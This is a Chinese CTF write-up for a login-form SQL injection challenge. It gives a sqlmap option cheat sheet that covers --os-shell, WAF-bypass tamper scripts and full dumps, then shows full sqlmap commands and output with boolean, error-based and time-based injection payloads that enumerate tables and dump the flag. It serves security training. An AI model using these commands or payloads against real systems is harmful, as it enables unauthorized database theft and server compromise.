sqlmap学习ing（2.[第一章 web入门]SQL注入-2（报错，时间，布尔））
根据提示访问页面
Ctrl+U查看源码
unicode编码在线转化工具转换为中文。
判断注入类型：
证明是字符报错注入且账号 admin是存在的
可以得出闭合方式为：单引号 '
使用sqlmap经行注入
### 总结参数作用：
-u 指定目标URL。
-C 指定列名（多个列用逗号分隔）。
-D 指定数据库名。
-T 指定表名。
-r 从文件加载请求，保留请求细节，自动识别注入点。
--data 指定POST方法发送的数据,sqlmap -u <URL> --data="<POST_DATA>",它在检测 POST 注入漏洞时至关重要。
--columns 枚举指定表中的列。
--tables 枚举指定数据库中的表。
--dump 导出数据。
--dbs 枚举所有数据库 sqlmap -u URL --dbs
--level 测试深度(1-5) --level 3（检测Cookie注入）
--risk 风险等级(1-3) --risk 3（使用危险语句）
--proxy 使用代理 --proxy="http://127.0.0.1:8080"
--tamper 绕过WAF --tamper=space2comment
--forms 自动处理表单，用于自动发现表单并注入。
--batch 无需用户交互，自动选择默认选项。
--current-db 获取当前数据库名。
--dump-all 导出所有数据 sqlmap -u URL --dump-all
--os-shell 获取系统shell sqlmap -u URL --os-shell抓包，保存为txt文件，sqlmap梭sqlmap -r ./1111.txt --batch --dbssqlmap -r ./1111.txt --batch -D note --tablessqlmap -r ./1111.txt --batch -D note -T fl4g --columnssqlmap -r ./1111.txt --batch -D note -T fl4g -C flag --dumpsqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" --dbs --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note --tables --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g --colums --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g -C flag --dump --batch
┌──(root💀kali)-[/home/kali/Desktop]
└─# cat 1111.txt
POST /login.php?tips=1 HTTP/1.1
Host: challenge.qsnctf.com:32146
Content-Length: 85
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://challenge.qsnctf.com:32146
Referer: http://challenge.qsnctf.com:32146/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closename=123&pass=1244┌──(root💀kali)-[/home/kali/Desktop]
└─# ┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note --tables --batch 130 ⨯_____H__ ___ ___["]_____ ___ ___ {1.9.2#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:00 /2025-07-01/[07:14:00] [INFO] parsing HTTP request from './1111.txt'
[07:14:01] [INFO] resuming back-end DBMS 'mysql'
[07:14:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:02] [INFO] fetching tables for database: 'note'
[07:14:02] [INFO] retrieved: 'fl4g'
[07:14:02] [INFO] retrieved: 'users'
Database: note
[2 tables]
+-------+
| fl4g |
| users |
+-------+[07:14:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com' [*] ending @ 07:14:02 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g --columns --batch_____H__ ___ ___[(]_____ ___ ___ {1.9.2#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:51 /2025-07-01/[07:14:51] [INFO] parsing HTTP request from './1111.txt'
[07:14:51] [INFO] resuming back-end DBMS 'mysql'
[07:14:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:52] [INFO] fetching columns for table 'fl4g' in database 'note'
[07:14:52] [INFO] retrieved: 'flag'
[07:14:52] [INFO] retrieved: 'varchar(40)'
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | varchar(40) |
+--------+-------------+[07:14:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com' [*] ending @ 07:14:52 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g -C flag --dump --batch_____H__ ___ ___["]_____ ___ ___ {1.9.2#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:15:18 /2025-07-01/[07:15:18] [INFO] parsing HTTP request from './1111.txt'
[07:15:19] [INFO] resuming back-end DBMS 'mysql'
[07:15:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:15:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:15:20] [INFO] fetching entries of column(s) 'flag' for table 'fl4g' in database 'note'
[07:15:20] [INFO] retrieved: 'n1book{login_sqli_is_nice}'
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+